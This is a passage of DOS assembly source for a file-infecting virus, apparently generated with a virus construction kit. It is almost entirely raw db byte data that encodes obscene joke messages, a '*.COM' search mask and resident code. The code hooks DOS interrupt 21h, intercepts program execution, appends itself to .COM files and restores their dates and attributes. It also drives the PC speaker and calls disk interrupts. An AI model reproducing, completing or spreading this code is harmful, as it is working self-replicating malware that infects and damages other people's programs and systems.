06Eh, 064h, 020h, 069h, 066h, 020h, 049h, 020h db 072h, 065h, 066h, 075h, 073h, 065h, 03Fh, 00Dh db 00Ah, 024h, 003h, 046h, 075h, 063h, 06Bh, 020h db 074h, 068h, 065h, 020h, 077h, 06Fh, 072h, 06Ch db 064h, 020h, 061h, 06Eh, 064h, 020h, 069h, 074h db 073h, 020h, 066h, 06Fh, 06Ch, 06Ch, 06Fh, 077h db 065h, 072h, 073h, 021h, 00Dh, 00Ah, 024h, 003h db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h db 070h, 061h, 074h, 068h, 065h, 074h, 069h, 063h db 02Ch, 020h, 06Dh, 061h, 06Eh, 02Eh, 02Eh, 02Eh db 020h, 079h, 06Fh, 075h, 020h, 06Bh, 06Eh, 06Fh db 077h, 020h, 074h, 068h, 061h, 074h, 03Fh, 00Dh db 00Ah, 024h, 000h, 043h, 075h, 06Dh, 020h, 06Fh db 06Eh, 021h, 020h, 020h, 054h, 061h, 06Ch, 06Bh db 020h, 044h, 049h, 052h, 054h, 059h, 020h, 074h db 06Fh, 020h, 06Dh, 065h, 020h, 021h, 021h, 021h db 00Dh, 00Ah, 024h, 000h, 059h, 06Fh, 075h, 072h db 020h, 063h, 06Fh, 070h, 072h, 06Fh, 063h, 065h db 073h, 073h, 06Fh, 072h, 020h, 077h, 065h, 061h db 072h, 073h, 020h, 066h, 06Ch, 06Fh, 070h, 070h db 079h, 020h, 064h, 069h, 073h, 06Bh, 073h, 021h db 00Dh, 00Ah, 024h, 006h, 04Ah, 06Fh, 06Bh, 065h db 072h, 021h, 020h, 076h, 065h, 072h, 020h, 0E0h db 0E0h, 020h, 062h, 079h, 020h, 054h, 042h, 053h db 049h, 021h, 00Dh, 00Ah, 052h, 065h, 06Dh, 065h db 06Dh, 062h, 065h, 072h, 021h, 020h, 020h, 045h db 056h, 045h, 052h, 059h, 054h, 048h, 049h, 04Eh db 047h, 027h, 073h, 020h, 062h, 069h, 067h, 067h db 065h, 072h, 020h, 069h, 06Eh, 020h, 054h, 065h db 078h, 061h, 073h, 021h, 00Dh, 00Ah, 024h, 032h db 0C0h, 0CFh, 02Ah, 02Eh, 043h, 04Fh, 04Dh, 000h db 02Eh, 02Eh, 000h, 003h, 000h, 001h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h data04 db "*.com",0 data05 dw 2BEh db 0E9h, 003h, 000h, 044h, 048h, 000h, 0E8h, 000h db 000h, 0B4h, 02Ch, 0CDh, 021h, 08Ah, 0C5h, 098h db 03Dh, 010h, 000h, 07Dh, 003h, 0E9h, 08Ah, 000h db 0FAh, 0BAh, 002h, 000h, 0BDh, 040h, 000h, 0BEh db 000h, 010h, 0BFh, 000h, 020h, 0B0h, 0B6h, 0E6h db 043h, 08Bh, 0DEh, 08Bh, 0C3h, 0E6h, 042h, 08Ah db 0C4h, 0E6h, 042h, 0E4h, 061h, 00Ch, 003h, 0E6h db 061h, 0B9h, 0E0h, 02Eh, 0E2h, 0FEh, 087h, 0FEh db 0E4h, 061h, 024h, 0FCh, 0E6h, 061h, 04Dh, 075h db 0E0h, 0B8h, 010h, 000h, 0B9h, 060h, 0EAh, 0E2h db 0FEh, 048h, 075h, 0F8h, 04Ah, 075h, 0C5h, 0FBh db 0BEh, 000h, 000h, 0ACh, 08Ah, 0E0h, 0ACh, 024h db 003h, 0B2h, 080h, 08Ah, 0F0h, 08Ah, 0ECh, 0B1h db 001h, 0BBh, 0BDh, 003h, 0B8h, 001h, 002h, 0CDh db 013h, 0EBh, 0E8h, 054h, 068h, 069h, 073h, 020h db 070h, 072h, 06Fh, 067h, 072h, 061h, 06Dh, 020h db 069h, 073h, 020h, 073h, 069h, 063h, 06Bh, 02Eh db 020h, 05Bh, 050h, 052h, 04Fh, 054h, 04Fh, 02Dh db 054h, 020h, 062h, 079h, 020h, 044h, 075h, 06Dh db 062h, 063h, 06Fh, 02Ch, 020h, 049h, 04Eh, 043h db 02Eh, 05Dh, 05Dh, 081h, 0EDh, 009h, 001h, 0BFh db 000h, 001h, 08Dh, 0B6h, 0A6h, 003h, 0B9h, 006h db 000h, 0F3h, 0A4h, 0B4h, 0A0h, 0CDh, 021h, 03Dh db 001h, 000h, 074h, 05Bh, 08Ch, 0C8h, 048h, 08Eh db 0D8h, 080h, 03Eh, 000h, 000h, 05Ah, 075h, 047h db 0A1h, 003h, 000h, 02Dh, 050h, 000h, 0A3h, 003h db 000h, 08Bh, 0D8h, 08Ch, 0C0h, 003h, 0C3h, 08Eh db 0C0h, 0B9h, 0B7h, 002h, 08Ch, 0D8h, 040h, 08Eh db 0D8h, 08Dh, 0B6h, 006h, 001h, 0BFh, 000h, 001h db 0F3h, 0A4h, 03Eh, 08Ch, 086h, 0B1h, 003h, 08Ch db 0C8h, 08Eh, 0C0h, 0FAh, 0B8h, 021h, 035h, 0CDh db 021h, 03Eh, 08Eh, 09Eh, 0B1h, 003h, 089h, 01Eh db 094h, 003h, 08Ch, 006h, 096h, 003h, 0BAh, 016h db 002h, 0B8h, 021h, 025h, 0CDh, 021h, 0FBh, 08Ch db 0C8h, 08Eh, 0D8h, 08Eh, 0C0h, 033h, 0C0h, 0BBh db 000h, 001h, 0FFh, 0E3h, 09Ch, 080h, 0FCh, 0A0h db 075h, 005h, 0B8h, 001h, 000h, 09Dh, 0CFh, 01Eh db 006h, 057h, 056h, 050h, 053h, 051h, 052h, 080h db 0FCh, 040h, 075h, 005h, 083h, 0FBh, 004h, 075h db 000h, 080h, 0FCh, 005h, 075h, 000h, 03Dh, 000h db 04Bh, 075h, 00Dh, 02Eh, 08Ch, 01Eh, 0A7h, 003h db 02Eh, 089h, 016h, 0A9h, 003h, 0EBh, 00Fh, 090h db 05Ah, 059h, 05Bh, 058h, 05Eh, 05Fh, 007h, 01Fh db 09Dh, 02Eh, 0FFh, 02Eh, 094h, 003h, 0FCh, 08Bh db 0FAh, 01Eh, 007h, 0B0h, 02Eh, 0F2h, 0AEh, 026h db 081h, 03Dh, 043h, 04Fh, 075h, 0E2h, 026h, 083h db 07Dh, 002h, 04Dh, 075h, 0DBh, 0E8h, 0ECh, 000h db 0E8h, 005h, 001h, 02Eh, 08Eh, 01Eh, 0A7h, 003h db 02Eh, 08Bh, 016h, 0A9h, 003h, 0B8h, 002h, 03Dh db 0E8h, 083h, 000h, 072h, 054h, 00Eh, 01Fh, 0A3h db 0AFh, 003h, 08Bh, 0D8h, 0E8h, 0BCh, 000h, 00Eh db 01Fh, 08Bh, 01Eh, 0AFh, 003h, 0B4h, 03Fh, 0B9h db 006h, 000h, 0BAh, 0A0h, 003h, 0E8h, 066h, 000h db 0A0h, 0A3h, 003h, 08Ah, 026h, 0A4h, 003h, 03Bh db 006h, 0B5h, 003h, 074h, 018h, 0B8h, 000h, 042h db 0E8h, 045h, 000h, 0B8h, 002h, 042h, 0E8h, 03Fh db 000h, 02Dh, 003h, 000h, 0A3h, 0ADh, 003h, 0E8h db 04Bh, 000h, 0E8h, 072h, 000h, 00Eh, 01Fh, 08Bh db 01Eh, 0AFh, 003h, 08Bh, 016h, 0B1h, 003h, 08Bh db 00Eh, 0B3h, 003h, 0B8h, 001h, 057h, 0E8h, 02Dh db 000h, 08Bh, 01Eh, 0AFh, 003h, 0B4h, 03Eh, 0E8h db 024h, 000h, 02Eh, 08Bh, 016h, 09Ch, 003h, 02Eh db 08Eh, 01Eh, 09Eh, 003h, 0B8h, 024h, 025h, 0E8h db 014h, 000h, 0E9h, 053h, 0FFh, 0B0h, 003h, 0CFh db 00Eh, 01Fh, 08Bh, 01Eh, 0AFh, 003h, 033h, 0C9h db 033h, 0D2h, 0E8h, 001h, 000h, 0C3h, 09Ch, 02Eh db 0FFh, 01Eh, 094h, 003h, 0C3h, 00Eh, 01Fh, 0B8h db 000h, 042h, 0E8h, 0E3h, 0FFh, 0B4h, 040h, 0B9h db 001h, 000h, 0BAh, 0A6h, 003h, 0E8h, 0E6h, 0FFh db 0B4h, 040h, 0B9h, 002h, 000h, 0BAh, 0ADh, 003h db 0E8h, 0DBh, 0FFh, 0B4h, 040h, 0B9h, 002h, 000h db 0BAh, 0B5h, 003h, 0E8h, 0D0h, 0FFh, 0C3h, 00Eh db 01Fh, 0B8h, 002h, 042h, 0E8h, 0B9h, 0FFh, 0B4h db 040h, 0B9h, 0B7h, 002h, 0BAh, 000h, 001h, 0E8h db 0BCh, 0FFh, 0C3h, 0B8h, 000h, 057h, 0E8h, 0B5h db 0FFh, 00Eh, 01Fh, 089h, 016h, 0B1h, 003h, 089h db 00Eh, 0B3h, 003h, 0C3h, 0B8h, 024h, 035h, 0E8h db 0A4h, 0FFh, 02Eh, 089h, 01Eh, 09Ch, 003h, 02Eh db 08Ch, 006h, 09Eh, 003h, 0BAh, 0F7h, 002h, 00Eh db 01Fh, 0B8h, 024h, 025h, 0E8h, 08Fh, 0FFh, 0C3h db 0B8h, 000h, 043h, 02Eh, 08Eh, 01Eh, 0A7h, 003h db 02Eh, 08Bh, 016h, 0A9h, 003h, 0E8h, 07Eh, 0FFh db 080h, 0E1h, 0FEh, 0B8h, 001h, 043h, 0E8h, 075h db 0FFh, 0C3h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 090h, 0CDh db 020h, 044h, 048h, 000h, 0E9h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 044h, 048h, 090h vcl_marker: db "[vcl]",0 finish label near code ends end main